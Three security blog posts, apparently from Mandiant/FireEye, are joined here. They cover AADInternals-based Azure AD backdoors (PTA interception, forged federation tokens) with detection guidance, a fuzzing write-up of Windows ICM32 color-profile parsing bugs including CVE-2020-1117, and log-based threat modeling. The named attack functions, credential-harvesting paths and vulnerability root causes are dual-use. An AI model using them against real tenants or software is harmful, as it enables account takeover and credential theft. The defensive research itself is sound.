In some incidents, Mandiant has witnessed attackers utilizing a PowerShell module called AADInternals, which can allow an attacker to vertically move from on-premises to Azure AD, establish backdoors, steal passwords, generate user security tokens, and bypass MFA protections. This PowerShell module has allowed attackers to maintain persistence in the tenant even after initial eradication efforts were conducted.

To see this module in action and understand how it works, Dr. Nestori Syynimaa’s PSCONFEU 2020 presentation, Abusing Azure Active Directory: Who would you like to be today?, provides an in-depth overview of the module.

To detect the use of AADInternals, it is important to understand how some of these attacks work. Once an understanding is established, abnormal usage can be detected through a combination of log analysis and host-based indicators.

#### Backdoor 1: Abusing Pass-Through Authentication

Attacker Requirements

Or

The AADInternals PowerShell module contains a function called Install-AADIntPTASPY. The function works by inserting itself as a man-in-the-middle within the Pass-through Authentication (PTA) process that occurs between Azure AD and the server running the PTA Agent in the on-premises environment. Commonly, the PTA Agent runs on the same on-premises server as Azure AD Connect (AAD Connect).

When PTA is enabled, every logon that occurs against Azure AD gets redirected to the PTA Agent on-premises. The PTA Agent asks an on-premises Active Directory Domain Controller if a password is valid for an authenticating account. If valid, the PTA Agent responds back to Azure AD to grant the requestor access. Figure 1 provides the workflow of Pass-through Authentication and where AADInternals can intercept the request.

Figure 1: Pass-through Authentication workflow

Once the function is running, every PTA attempt against Azure AD will be intercepted by the installed AADIntPTASpy module. The module will record the user’s password attempt and reply back to Azure AD on behalf of the PTA Agent. This reply advises Azure AD the password attempt was valid and grants the user access to the cloud, even if the password is incorrect. If an attacker has implanted AADIntPTASpy, they can log in as any user that attempts to authenticate using PTA—and will be granted access.

Additionally, all password attempts that are registered by the AADIntPTASpy module are recorded within a log file on the server (Default location: C:\PTASpy\PTASPy.csv). Figure 2 shows how the log file can be decoded to reveal a user’s password in cleartext.

Not only will this function allow an attacker to login as any user who authenticates via PTA, but it will also act as a repository for collecting user passwords who are legitimately logging into Azure AD. This could allow an attacker to pivot their attack to other areas of the network—or use these credentials against other internet accessible portals that may leverage single-factor authentication (e.g., VPN gateway).

An attacker can use this module in one of two ways:

Method 1: On-Premises Compromise

An attacker has gained access to an on-premises domain and is able to laterally move to the AADConnect / PTA Agent Server. From this server, an attacker can potentially leverage the AADInternals PowerShell module and invoke the Install-AADIntPTASpy function.

Method 2: Cloud Compromise

If an attacker has successfully compromised an Azure AD global admin account, an attack can be conducted from an attacker’s own infrastructure. An attacker can install a PTA Agent on a server they manage and register the agent using the compromised global administrator account (Figure 3).

Figure 3: Azure AD Portal—registered Pass-through Authentication agents

Once registered with Azure AD, the rogue server will begin to intercept and authorize all login attempts. As with Method 1, this server can also be used to harvest valid credentials.

#### Backdoor 2: Abusing Identity Federation

Attacker Requirements

Or

Another method of authenticating to M365 is through the usage of federation services. When a M365 domain is configured as a federated domain, a trust is configured between M365 and an external identify provider. In many cases, this trust is established with an Active Directory Federation Services (ADFS) server for an on-premises Active Directory domain.

Once a trust is established, when a user logs into M365 using a federated domain, their request is redirected to the external identify provider (ADFS) where their authentication is validated (Figure 4). Once validated, the ADFS server provides the user a security token. This token is then trusted by M365 and grants the access to the platform.

Figure 4: Microsoft 365 Federation Sign-in workflow

AADInternals has a PowerShell function to craft security tokens, which mimics the ADFS authentication process. When providing the function a valid UserPrincipalName, Immutable ID and IssuerURI, an attacker can generate a security token as any user of the tenant. What’s even more concerning is that once this security token is generated, this can allow an attacker to bypass MFA.

As with Backdoor 1, this attack can either be performed from a compromised on-premises environment or from an attacker’s own infrastructure.

Method 1: On-Premises Compromise

Once an attacker has gained access to an on-premises domain with elevated access, they can begin to collect the required information to craft their own security tokens to backdoor into M365 as any user. An attacker will require:

• A valid UserPrincipalName and Immutable.
• Both of these attributes can be pulled from the on-premises Active Directory domain.
• This can be obtained from an ADFS server when directly logged into the server or remotely querying the server via an privileged account.

Once an attacker has collected the necessary information, using the AADInternals Open-AADIntOffice365Portal command, a security token for the user can be generated granting an attacker access to M365 (Figure 5).

Method 2: Cloud Compromise

If an attacker has a compromised an M365 Global Administrator account, using their own infrastructure, an attacker can use their administrative access to collect user information and reconfigure the tenant to establish their backdoor. In this method, an attacker will require:

• A valid UserPrincipalName and valid ImmutableId.
• Figure 6 shows how the Get-MsolUser command can obtain a user’s ImmutableId from Azure AD.

Figure 6: Get-MsolUser—list user UPN & ImmutableId

• IssuerURI
• This can be obtained by converting a managed domain to a federated domain. Figures 7 through 10 show how the AADInternals ConvertTo-AADIntBackdoor command (Figure 8) can be used to allow attacker to register their own IssuerURI for a federated domain.

Figure 7: Get-msoldomain—list of registered domains and authentication

Figure 8: ConvertTo-AADIntBackdoor—convert domain to federated authentication

Figure 9: Changed authentication method

Figure 10: Azure AD Portal registered domains

Note: To not interrupt production and authentication with an existing federated domain (and to remain undetected), an attacker may opt to register a new domain with the tenant.

Once an attacker has properly configured the tenant, using the ImmutableId of any user, a security token can be generated by executing the Open-AADIntOffice365Portal command (Figure 11). This will allow an attacker to login as that user without the need for a valid certificate or a legitimate IssuerURI.

Fortunately for defenders, this method will generate a number of events in the unified audit log, which can be leveraged for monitoring and alerting.

#### Mitigation and Detection

Once persistence is established, it can be extremely difficult to detect login activity that is utilizing one of the previously described methods. In lieu of this, it is recommended to monitor and alert on M365 unified audit logs and Azure AD sign-in activity to detect anomalous activity.

#### Detection in FireEye Helix

Being that Mandiant has seen this methodology being used in the wild, we felt it was necessary to build these detections into our FireEye Helix security platform. Helix engineers have created sever new detection rules that monitor for detectable activity of an attacker making use of the AADInternals PowerShell module.

The following five rules will monitor a server’s event logs and alert upon the installation and usage of the AADInternals PowerShell module (Figure 12). The detection of these activities could be high fidelity alerts that an attacker is preparing to configure backdoors into M365 and Azure AD environments.

If an attacker has successfully configured a backdoor using AADInternals, Helix will alert upon the following events registered in the Office 365 unified audit log and Azure Activity Log as indication of a possible event (Figure 13 and Figure 14). It is important to note that these alerts could be triggered upon legitimate administrator activity. When responding to these alerts, first check with your M365 and Azure AD administrator to verify the activity before raising a security event.

Figure 13: Office 365 and Azure Helix rules

Figure 14: PTA Connector Registered alert description

#### Hunting for Backdoors in M365 Unified Audit Logs and Azure AD Logs

If you suspect a global administrator account was compromised and you want to review Azure AD for indicators of potential abuse, the following should be reviewed (note that these same concepts can be used for proactive log monitoring):

• From Azure AD Sign-ins logs, monitor logon activity from On-Premises Directory Synchronization Service Accounts. This account is used by the Azure AD Connect service (Figure 15).

• Baseline the IP addresses used by this account and make sure the IPs match those assigned to the on-premises WAN infrastructure. If the attacker has configure a PTA Agent on their own infrastructure, seeing an IP that does not match your baseline could be an indicator that a rogue PTA Agent has been configured by the attacker (Figure 16).

Figure 16: Azure AD Sign-in logs—On-Premises Directory Synchronization Services account

From Azure AD Sign-ins, monitor and baseline Azure AD Sign-ins to the Azure AD Application Proxy Connector. Make sure to validate username, IP and location.

These events are typically only generated when a new PTA agent is connected to the tenant. This could be an indicator that an attacker has connected a rogue PTA server hosted on an attacker’s infrastructure (Figure 17).

If using Azure Sentinel, this event will also be registered in the Azure AuditLogs table as a “Register Connector” OperationName (Figure 18).

Figure 18: Register Connector—Azure Sentinel logs

• In the Azure Management Portal under the Azure AD Connect blade, review all registered servers running PTA Agent. The Authentication Agent and IP should match your infrastructure (Figure 19).
• Select Azure AD Connect > Pass-through Authentication

Figure 19: Azure Active Directory Pass-through Authentication agent status

• Monitor and alert for "Directory Administration Activity" in Office 365 Security & Compliance Center’s unified audit log. When an attacker is able to create a domain federation within a compromised cloud tenant, and link this to attacker-owned infrastructure, this will generate activity in the log (Figure 21).
• https://Protections.office.com/unifiedauitlog > Audit Log Search
• Select Directory Administration Activates category to select all activities
• Create New Alert Policy (Figure 20)

Figure 20: Unified Audit Log > Create new alert policy

Figure 21: Unified Audit Log filtered for domain related events

• Using Azure Sentinel, more granular Directory Administration Activities can be modified for suspicious activity. This includes additions, deletions and modifications of domains and their authentication settings (Figure 22).
• Monitoring for OfficeActivity Operations in Azure Sentinel can allow an organization to validate if this is normalized activity or if an attacker is working on setting up a backdoor for PTA or federation.
• Table: OfficeActivity
• Operation: Set-AcceptedDomain
• Operation: Set-MsolDomainFederationSettings
• Operation: New-Accepted Domain
• Operation: Remove-Accepted Domain
• Operation: Remove-FederatedDomain

Figure 22: OfficeActivity Operations Azure Sentinel logs

#### Detection On-Premises

If an attacker is able to compromise on-premises infrastructure and access a server running AD Connect or ADFS services with the intention of leveraging a tool such as AADInternals to expand the scope of their access to include cloud, timely on-premises detection and containment is key. The following methods can be leveraged to ensure optimized visibility and detection for the scope of activities described in this post:

• Treat ADFS and Azure AD Connect servers as Tier 0 assets.
• Use a dedicated server for each. Do not install these roles and server in addition to other. All too often we are seeing Azure AD Connect running on a file server.
• Ensure PowerShell logging is optimized on AD Connect and ADFS servers
• If PowerShell logging is enabled, search for Event ID 4101. This event ID will record the event where AADInternals was installed (Figure 23).

Figure 23: EventID 410—Installed Module

• Additionally, with this logging enabled, you will be able to review the PowerShell commands used by an attacker.
• In PowerShell, run Get-Module -All and look for the presence of AADInternals (Figure 24).

Figure 24: Get-Module command to list installed modules

• Alert for the presence of C:\PTASpy and C:\PTASpy\PTASpy.csv.
• This is the default location of the log file that contains records of all the accounts that were intercepted by the tool. Remember, an attacker may also use this to harvest credentials, so it is important to reset the password for these accounts (Figure 25).

Figure 25: PTASpy.csv log activity

#### Mitigations

In order for this attack to be successful, an attacker must gain administrative privileges on a server running Azure AD Connect and/or gain global administrator rights within M365. Simple practices such as limiting and properly protecting global administrator accounts as well as properly protecting Tier 0 assets can greatly reduce the risk of an attacker successfully using the AADInternals PowerShell against your organization.

• Any server acting as an identity provider or facilitating identity federation should be treated as a Tier 0 asset.
• Create separate dedicated global administrator accounts.
• Global administrators should be cloud-only accounts.
• These accounts should not retain any licensing.
• Implement MFA on all accounts: admins, users and services.
• If a particular account cannot use MFA, apply a conditional access rule that limits its logon to a trusted network. This works particularly well for service accounts.
• Establish a roadmap to block legacy authentication.
• Limit which accounts are synced from on-premises to the cloud.
• Do not sync privileged or service accounts to the cloud.
• Not everybody or everything needs to be a global admin to administer the environment.
• Use password hash sync over Pass-through Authentication.
• Many organizations are reluctant to sync their password to Azure AD. The benefits from this service greatly outweigh the risks. Being able to use global and custom banned passwords lists, for both the cloud and on-premises, is a tremendous benefit.
• Forward all M365 unified audit logs and Azure logs to a SIEM and build detections.
• Ensure you are forwarding the logs recommended in this post and building the appropriate detections and playbooks within your security operations teams.
• Specifically monitor for:
• Set-AcceptedDomain
• Set-MsolDomainFederationSettings
• New-Accepted Domain
• Remove-Accepted Domain
• Remove-FederatedDomain
• Periodically review all identity providers and custom domains configured in the M365 tenant.
• If an attacker is successful at gaining global administrative privileges, they may choose to add their own identity provider and custom domain to maintain persistence.

#### Acknowledgements

I want to give a special thanks to Daniel Taylor, Roberto Bamberger and Jennifer Kendall at Microsoft for collaborating with Mandiant on the creation of this blog post.

# Fuzzing Image Parsing in Windows, Part One: Color Profiles

Image parsing and rendering are basic features of any modern operating system (OS). Image parsing is an easily accessible attack surface, and a vulnerability that may lead to remote code execution or information disclosure in such a feature is valuable to attackers. In this multi-part blog series, I am reviewing Windows OS’ built-in image parsers and related file formats: specifically looking at creating a harness, hunting for corpus and fuzzing to find vulnerabilities. In part one of this series I am looking at color profiles—not an image format itself, but something which is regularly embedded within images.

#### What is an ICC Color Profile?

Wikipedia provides a more-than-adequate description of ICC color profiles: "In color management, an ICC profile is a set of data that characterizes a color input or output device, or a color space, according to standards promulgated by the International Color Consortium (ICC). Profiles describe the color attributes of a particular device or viewing requirement by defining a mapping between the device source or target color space and a profile connection space (PCS). This PCS is either CIELAB (L*a*b*) or CIEXYZ. Mappings may be specified using tables, to which interpolation is applied, or through a series of parameters for transformations.

In simpler terms, an ICC color profile is a binary file that gets embedded into images and parsed whenever ICC supported software processes the images.

#### Specification

The ICC specification is around 100 pages and should be easy to skim through. Reading through specifications gives a better understanding of the file format, different types of color profiles, and math behind the color transformation. Furthermore, understanding of its file format internals provides us with information that can be used to optimize fuzzing, select a good corpus, and prepare fuzzing dictionaries.

#### History of Color Management in Windows

Windows started to ship Image Color Management (ICM) version 1.0 on Windows 95, and version 2.0 beginning with Windows 98 onwards. A major overhaul to Windows Color System (WCS) 1.0 happened in Windows Vista onwards. While ICC color profiles are binary files, WCS color profiles use XML as its file format. In this blog post, I am going to concentrate on ICC color profiles.

Microsoft has a list of supported Windows APIs. Looking into some of the obviously named APIs, such as OpenColorProfile, we can see that it is implemented in MSCMS.dll. This DLL is a generic entry point and supports loading of Microsoft’s Color Management Module (CMM) and third-party CMMs such as Adobe’s CMM. Microsoft’s CMM—the ICM—can be found as ICM32.dll in system32 directory.

Figure 1: ICM32

Windows’ CMM was written by a third-party during the Windows 95 era and still ships more or less with the same code (with security fixes over the decades). Seeing such an old module gives me some hope of finding a new vulnerability. But this is also a small module that may have gone through multiple rounds of review and fuzzing: both by internal product security teams and by external researchers, reducing my hopes to a certain degree. Looking for any recent vulnerabilities in ICM32, we can see multiple bugs from 2017-2018 by Project Zero and ZDI researchers, but then relative silence from 2019 onwards.

#### Making a Harness

Although there is a list of ICM APIs in MSDN, we need to find an API sequence used by Windows for any ICC related operations. One of the ways to find our API sequence is to search a disassembly of Windows DLLs and EXEs in hope to find the color profile APIs being used. Another approach is to find a harness for open source Color Management Systems such as Little CMS (LCMS). Both of these end up pointing to very small set of APIs with functionality to open color profiles and create color transformations.

Given this information, a simple initial harness was written:

 #include #include #include #pragma comment(lib, "mscms.lib") int main(int argc, char** argv) {     char dstProfilePath[] = "sRGB Color Space Profile.icm";     tagPROFILE destinationProfile;     HPROFILE   hDstProfile = nullptr;        destinationProfile.dwType = PROFILE_FILENAME;     destinationProfile.pProfileData = dstProfilePath;     destinationProfile.cbDataSize = (strlen(dstProfilePath) + 1);     hDstProfile = OpenColorProfileA(&destinationProfile, PROFILE_READ,         FILE_SHARE_READ, OPEN_EXISTING);     if (nullptr == hDstProfile)     {         return -1;     }        tagPROFILE sourceProfile;     HPROFILE   hSrcProfile = nullptr;     HTRANSFORM hColorTransform = nullptr;          DWORD dwIntent[] = { INTENT_PERCEPTUAL, INTENT_PERCEPTUAL };     HPROFILE hProfileList[2];        sourceProfile.dwType = PROFILE_FILENAME;     sourceProfile.pProfileData = argv[1];     sourceProfile.cbDataSize = (strlen(argv[1]) + 1);     hSrcProfile = OpenColorProfileA(&sourceProfile, PROFILE_READ,         FILE_SHARE_READ, OPEN_EXISTING);     if (nullptr == hSrcProfile)     {         return -1;     }        hProfileList[0] = hSrcProfile;     hProfileList[1] = hDstProfile;     hColorTransform = CreateMultiProfileTransform(         hProfileList,         2,         dwIntent,         2,         USE_RELATIVE_COLORIMETRIC | BEST_MODE,         INDEX_DONT_CARE     );     if (nullptr == hColorTransform)     {         return -1;     }        DeleteColorTransform(hColorTransform);     CloseColorProfile(hSrcProfile);     CloseColorProfile(hDstProfile);     return 0; }

Listing 1: Harness

#### Hunting for Corpus and Dictionary

Sites offering multiple color profiles can be found all over the internet. One of the other main source of color profile is images; many image files contain a color profile but require some programming/tools to dump their color profile to stand-alone files.

Simply skimming through the specification, we can also make sure the corpus contains at least one sample from all of the seven different color profiles. This along with the code coverage information can be used to prepare the first set of corpuses for fuzzing.

A dictionary, which helps the fuzzer to find additional code paths, can be prepared by combing through specifications and creating a list of unique tag names and values. One can also find dictionaries from open source fuzzing attempts on LCMS, etc.

#### Fuzzing

I used a 16-core machine to fuzz the harness with my first set of corpuses. Code coverage information from MSCMS.dll and ICM32.dll was used as feedback for my fuzzer. Crashes started to appear within a couple of days.

#### CVE-2020-1117 — Heap Overflow in InitNamedColorProfileData

The following crash happens in icm32!SwapShortOffset while trying to read out of bounds:

 0:000> r rax=0000023690497000 rbx=0000000000000000 rcx=00000000000000ff rdx=000000000000ffff rsi=0000023690496f00 rdi=0000023690496fee rip=00007ffa46bf3790 rsp=000000c2a56ff5a8 rbp=0000000000000001  r8=0000000000000014  r9=0000023690497002 r10=0000000000000014 r11=0000000000000014 r12=000000c2a56ff688 r13=0000023690492de0 r14=000000000000000a r15=000000004c616220 iopl=0         nv up ei ng nz ac pe cy cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000293 icm32!SwapShortOffset+0x10: 00007ffa46bf3790 0fb610          movzx   edx,byte ptr [rax] ds:0000023690497000=?? 0:000> !heap -p -a @rax     address 0000023690497000 found in     _DPH_HEAP_ROOT @ 23690411000     in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)                              23690412b60:      23690496f00              100 -      23690496000             2000     00007ffa51644807 ntdll!RtlDebugAllocateHeap+0x000000000000003f     00007ffa515f49d6 ntdll!RtlpAllocateHeap+0x0000000000077ae6     00007ffa5157babb ntdll!RtlpAllocateHeapInternal+0x00000000000001cb     00007ffa51479da0 msvcrt!malloc+0x0000000000000070     00007ffa46bf3805 icm32!SmartNewPtr+0x0000000000000011     00007ffa46bf37c8 icm32!SmartNewPtrClear+0x0000000000000014     00007ffa46c02d05 icm32!InitNamedColorProfileData+0x0000000000000085     00007ffa46bf6e39 icm32!Create_LH_ProfileSet+0x0000000000004e15     00007ffa46bf1973 icm32!PrepareCombiLUTs+0x0000000000000117     00007ffa46bf1814 icm32!CMMConcatInitPrivate+0x00000000000001f4     00007ffa46bf12a1 icm32!CWConcatColorWorld4MS+0x0000000000000075     00007ffa46bf11f4 icm32!CMCreateMultiProfileTransformInternal+0x00000000000000e8     00007ffa46bf1039 icm32!CMCreateMultiProfileTransform+0x0000000000000029     00007ffa48f16e6c mscms!CreateMultiProfileTransform+0x000000000000024c     00007ff774651191 ldr+0x0000000000001191     00007ff7746514b4 ldr+0x00000000000014b4     00007ffa505a7bd4 KERNEL32!BaseThreadInitThunk+0x0000000000000014     00007ffa515aced1 ntdll!RtlUserThreadStart+0x0000000000000021

Listing 2: Crash info

icm32!SwapShortOffset reads unsigned short values, bswaps them and stores at the same location, giving this crash both read and write primitives.

 unsigned __int16 *__fastcall SwapShortOffset(void *sourceBuff, unsigned int offset, unsigned int len) {   unsigned __int16 *endBuff; // r9   unsigned __int16 *result; // rax   endBuff = (sourceBuff + len);   for ( result = (sourceBuff + offset); result < endBuff; ++result )     *result = _byteswap_ushort(*result);        // read, bswap and write   return result; }

Listing 3: SwapShortOffset decompiled

The crashing function icm32!SwapShortOffset doesn’t immediately point to the root cause of the bug. For that, we need to go one call up to icm32!InitNamedColorProfileData.

 __int64 __fastcall InitNamedColorProfileData(__int64 a1, void *hProfile, int a3, _DWORD *a4) {   ...   ...   errCode = CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, 0i64);      // getting size of ncl2 element   if ( errCode )     return errCode;   minSize = pBuffSize[0];   if ( pBuffSize[0] < 0x55 )     minSize = 0x55;   pBuffSize[0] = minSize;   outBuff = SmartNewPtrClear(minSize, &errCode);                                    // allocating the buffer for ncl2   ...   ...   errCode = CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, outBuff);    // reading ncl2 elements to buffer   if ( !errCode )   {     ...     ...     totalSizeToRead = count * totalDeviceCoord;     if ( totalSizeToRead < 0xFFFFFFFFFFFFFFAEui64 && totalSizeToRead + 0x51 <= pBuffSize[0] )  // totalSizeToRead + 0x51 <= element size?     {       currPtr = outBuff + 0x54;            // wrong offset of 0x54 is used       ...       ...       do       {            SwapShortOffset((currPtr + 0x20), 0, 6u);         ...         --count;       }while(count)

Listing 4: InitNamedColorProfileData decompiled

Here the code tries to read the ‘ncl2’ tag/element and get the size of the stream from file. A buffer is allocated and the same call is made once again to read the complete content of the element ‘ncl2’. This buffer is parsed to find the count and number of device coordinates, and the values are verified by making sure read/write ends up with in the buffer size. The vulnerability here is that the offset (0x51) used for verification is smaller than the offset (0x54) used to advance the buffer pointer. This error provides a 3 byte out of bound read and write.

The fix for this was pretty straight forward—change the verification offset to 0x54, which is how Microsoft fixed this bug.

While looking at the previous vulnerability, one can see a pattern of using the CMGetPartialProfileElement function for reading the size, allocation, and reading content. This sort of pattern can introduce bugs such as unconstrained size or integer overflow while adding an offset to the size, etc. I decided to pursue this function and see if such instances are present within ICM32.dll.

I found three instances which had an unchecked offset access: CMConvIndexToNameProfile, CMConvNameToIndexProfile and CMGetNamedProfileInfoProfile. All of these functions are accessible through exported and documented MSCMS functions: ConvertIndexToColorName, CMConvertColorNameToIndex, and GetNamedProfileInfo respectively.

 __int64 __fastcall CMConvIndexToNameProfile(HPROFILE hProfile, __int64 a2, __int64 a3, unsigned int a4) {   ...   ...   errCode = CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, 0i64);    // read size   if ( !errCode )   {     allocBuff = SmartNewPtr(pBuffSize[0], &errCode);     if ( !errCode )     {       errCode = CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, allocBuff);    // read to buffer       if ( !errCode )       {         SwapLongOffset((allocBuff + 12), 0, 4u);         // 12 > *pBuffSize ?         SwapLongOffset((allocBuff + 16), v12, v13);

Listing 5: CMConvIndexToNameProfile decompiled

The bug discovered in CMConvIndexToNameProfile and the other two functions is that there is no minimum length check for ‘ncl2’ elements and offsets 12 and 16 are directly accessed for both read and write—providing out of bound read/write to allocBuffer, if the size of allocBuffer is smaller than 12.

Microsoft decided not to immediately fix these three vulnerabilities due to the fact that none of the Windows binaries use these functions. Independently, we did not find any Windows or third-party software using these APIs.

#### Conclusion

In part one of this blog series, we looked into color profiles, wrote a harness, hunted for corpus and successfully found multiple vulnerabilities. Stay tuned for part two, where we will be looking at a relatively less talked about vulnerability class: uninitialized memory.

# A “DFUR-ent” Perspective on Threat Modeling and Application Log Forensic Analysis

Many organizations operating in e-commerce, hospitality, healthcare, managed services, and other service industries rely on web applications. And buried within the application logs may be the potential discovery of fraudulent use and/or compromise! But, let's face it, finding evil in application logs can be difficult and overwhelming for a few reasons, including:

• The wide variety of web applications with unique functionality
• The lack of a standard logging format
• Logging formats that were designed for troubleshooting application issues and not security investigations
• The need for a centralized log analysis solution or SIEM to process and investigate a large amount of application log data

So, in this blog post, we discuss threat modeling concepts that can help prioritize logging decisions and unleash the ability to identify and investigate attacks against an application. To help us demonstrate, we'll describe situations for a fictitious organization called Dog and Feline Urgent Response, or DFUR, that we presented at the 2020 SANS Digital Forensics & Incident Response (DFIR) Summit.

We selected Splunk Enterprise Security (ES) as DFUR’s SIEM and logging analysis platform, but this is just one option and there are multiple technologies that can facilitate application log analysis. We created a Splunk application called “Dog and Feline Urgent Response (DFUR)” available on the FireEye GitHub that contains pre-indexed data and dashboards that you can use to follow along with the following attack scenarios.

But, enough kitten around. Let’s introduce you to DFUR!

#### DFUR: Dog and Feline Urgent Response

DFUR is a long-standing organization in the pet wellness industry that provides care providers, pet owners, and insurance providers with application services.

• Care providers, such as veterinarians, use DFUR to process patient records, submit prescriptions, and order additional care services
• Pet owners use DFUR to make appointments, pay bills, and see diagnostic test results
• Insurance providers use DFUR to receive and pay claims to pet care providers

Application users log into a web portal that forwards logon and user transaction logs to DFUR’s Splunk ES instance. Backend databases store metadata for users, such as street addresses and contact information.

DFUR Security Team Threat Modeling

After stumbling through several incidents, the DFUR security team realized that their application did not log the information needed to answer investigative question clearly and quickly. The team held workshops with technical stakeholders to develop a threat model and improve their application security strategy. They addressed questions, such as:

• What types of threats does DFUR face based on industry trends?
• What impact could those threats have?
• How could the DFUR application be attacked or abused?
• What log data would DFUR need to prove an attack or fraud happened?

The DFUR team compiled the stakeholder feedback and developed a threat profile to identify and prioritize high-risk threats facing the DFUR application platform, including:

• Account takeover and abuse
• Password attacks (e.g., credential stuffing)
• Bank account modifications
• PHI/PII access
• Health service modifications or interruptions
• Fraudulent reimbursement claim submission
• Veterinarians over-prescribing catnip

The DFUR security team discussed how they could identify threats using their currently available logs, and, well, the findings were not purr-ty.

Logging Problems Identified

The DFUR team used their threat model to determine what log sources were relevant to their security mission, and then they dug into each one to confirm the log events were valid, normalized, and accessible. This effort produced a list of high-priority logging issues that needed to be addressed before the security team could move forward with developing methods for detection and analysis:

• Local logs were not forwarded to their Splunk ES instance. Only a limited subset of logging was forwarded to their Splunk ES instance, so DFUR analysts couldn't search for the actions performed by users who were authenticated to the application portal.
• Inaccurate field mapping. DFUR analysts identified extracted field values that were mapped to incorrect field names. One example was the user-agent in authentication log events had been extracted as the username field.
• Application updates sometimes affected Splunk ingestion and parsing. DFUR analysts identified servers that didn't have a startup script to ensure log forwarding was enabled upon system reboot. Application updates changed the logging output format which broke field extractions. DFUR analysts didn't have a way to determine when log sources weren't operating as expected.
• Time zone misconfigurations. DFUR analysts determined their log sources had multiple time zone configurations which made correlation difficult.
• The log archival settings needed to be modified. DFUR analysts needed to configure their Splunk ES instance data retirement policy to maintain indexed data for a longer time period and archive historical data for quick restoration.
• Source IP addresses of users logging into the portal were masked by a load balancer. The DFUR analysts realized that the source IP address for every user logon was a load balancer, which made attribution even more difficult. The X-Forwarded-For (XFF) field in their appliances needed to be enabled.

Analysis Problems Identified

The DFUR infosec team reviewed how previous incidents involving the DFUR application were handled. They quickly learned that they needed to solve the following operational issues before they could effectively investigate application attacks:

• Inconsistency during manual analysis. DFUR analysts took different approaches to searching their Splunk ES instance, and they would reach different conclusions. Playbooks were needed to define a standard investigative methodology for common incident scenarios.
• No documentation of log fields or sources. Some DFUR analysts were not aware of all relevant data sources that were available when investigating security incidents. This led to findings that were based on a small part of the picture. A data dictionary was needed that defines the log sources and fields in the DFUR Splunk ES instance and the retention time for each log source.
• Application logs were designed for troubleshooting, not investigating. The DFUR application was configured to log diagnostic information, application errors, and limited subsets of successful user activity. The DFUR team needed to reconfigure and develop the application to record more security related events.

#### DFUR: New and Improved Monitoring and Detection

The DFUR team addressed their application log and analysis problems and started building a detection and investigative capability in their Splunk ES instance. Using the analysis workflows developed during the threat modeling process, the DFUR team designed Splunk dashboards (Figure 1) to provide detection analytics and context around three primary datapoints: usernames, IP addresses, and care providers (“organizations”).

Figure 1: DFUR monitoring and detection dashboard

The DFUR team created the Splunk dashboards using Simple XML to quickly identify alerts and pivot among the primary datapoints, as seen in Figure 2. The DFUR team knew that their improved and streamlined methodology would save time compared to exporting, analyzing, and correlating raw logs manually.

Figure 2: Pivoting concepts used to develop DFUR dashboards

Newly armed (legged?) with a monitoring and detection capability, the DFUR team was ready to find evil!

Attack Scenario #1: Account Takeover

The next morning, the DFUR security team was notified by their customer service team of a veterinarian provider with the username ‘labradorable’ who hadn’t received their daily claims payment and noticed their banking information in the DFUR portal was changed overnight.

A DFUR analyst opened the User Activity Enrichment dashboard (Figure 3) and searched for the username to see recent actions performed by the account.

Figure 3: User Activity Enrichment dashboard

The analyst reviewed the Remote Access Analytics in the dashboard and identified the following anomalies (Figure 4):

• The username reminder and password reset action was performed the day before from an Indonesia-based IP address
• The user account was logged in from the same suspicious IP address shortly after
• The legitimate user always logs in from California, so the Indonesia source IP login activity was highly suspicious

Figure 4: Remote access analytics based on user activity

The DFUR analyst clicked on the Application Activity tab in the User Activity Enrichment dashboard to see what actions were performed by the user while they were logged in from the suspicious IP address. The analyst identified the user account logged in from the suspicious IP address and performed an email address change and added two (2) new bank accounts, as seen in Figure 5.

Figure 5: Application activity timeline filtered based on IP address

The DFUR analyst confirmed that the two (2) bank accounts were added by the user to the care provider with organization ID 754354, as seen in Figure 6.

Figure 6: Bank accounts added and assigned to a provider

By clicking on the organization ID in the Splunk results table, the DFUR analyst triggered a drill-down action to automatically open the Organization Enrichment Dashboard and populate the organization ID value with the results from the previous panel (Figure 7). The DFUR analyst determined that the bank routing information for the new bank accounts was inconsistent with the organization’s mailing address.

Figure 7: Organization Enrichment Dashboard

The activity indicated that the attacker had access to the user’s primary email and successfully reset the DFUR account password. The DFUR analyst confirmed that no other accounts were targeted by the suspicious IP address (Figure 8).

Figure 8: IP Address Enrichment dashboard

Attack Scenario #2: Credential Stuffing

Later that afternoon, the DFUR team began receiving reports of account lockouts in the patient and provider portals when users tried to login. The security team was asked to investigate potential password attack activity on their DFUR platform.

The DFUR analyst pulled up the main monitoring and detection dashboard and scrolled down to the panel focused on identifying potential password attack activity (Figure 9). They identified five (5) IP addresses associated with an elevated number of failed login attempts, suggesting a password spray or credential stuffing attack with varying success.

Figure 9: Dashboard panel showing potential password attack events

The DFUR analyst clicked on one of the IP addresses which triggered a drill-down action to open the IP Address Enrichment dashboard and prepopulate the IP address token value (Figure 10).

Figure 10: IP Address Enrichment dashboard

The DFUR analyst identified more than 3,000 failed login attempts associated with the IP address with three (3) successful logins that morning. The Remote Access Analytics panels for the IP address further showed successful logins for accounts that may have been successfully compromised and need to be reset (Figure 11).

Figure 11: Remote access analytics for IP address

#### Conclusion

After implementing the newly developed logs and analysis capabilities and by leveraging Splunk’s security solutions, the DFUR security team drastically improved key metrics aligned with their application security missions:

1. Identify compromise and fraud before customers report it
2. Analyze 90% of application security events within 30 minutes
3. Answer all investigation questions from users, compliance, and legal teams

Mandiant and the whole DFUR security team hope you can use the scenarios and references in this post to improve your log analysis and how you leverage a SIEM solution in the following ways:

• Reflect on your current logging gaps and capabilities to improve
• Enhance logs from “whatever the developers implemented” to “designed to be investigated”
• Develop investigative workflows that are reliable and repeatable
• Correlate pivot points between your data sources and streamline correlation capabilities
• Create monitoring and alerting capabilities based on threat modeling
• Lower the technical barrier for comprehensive analysis
• Implement similar analysis capabilities to those in the “DFUR” Splunk application, linked in the References section
• Understand that logs can lead into better security analytics and strengthening of your security operations

#### References

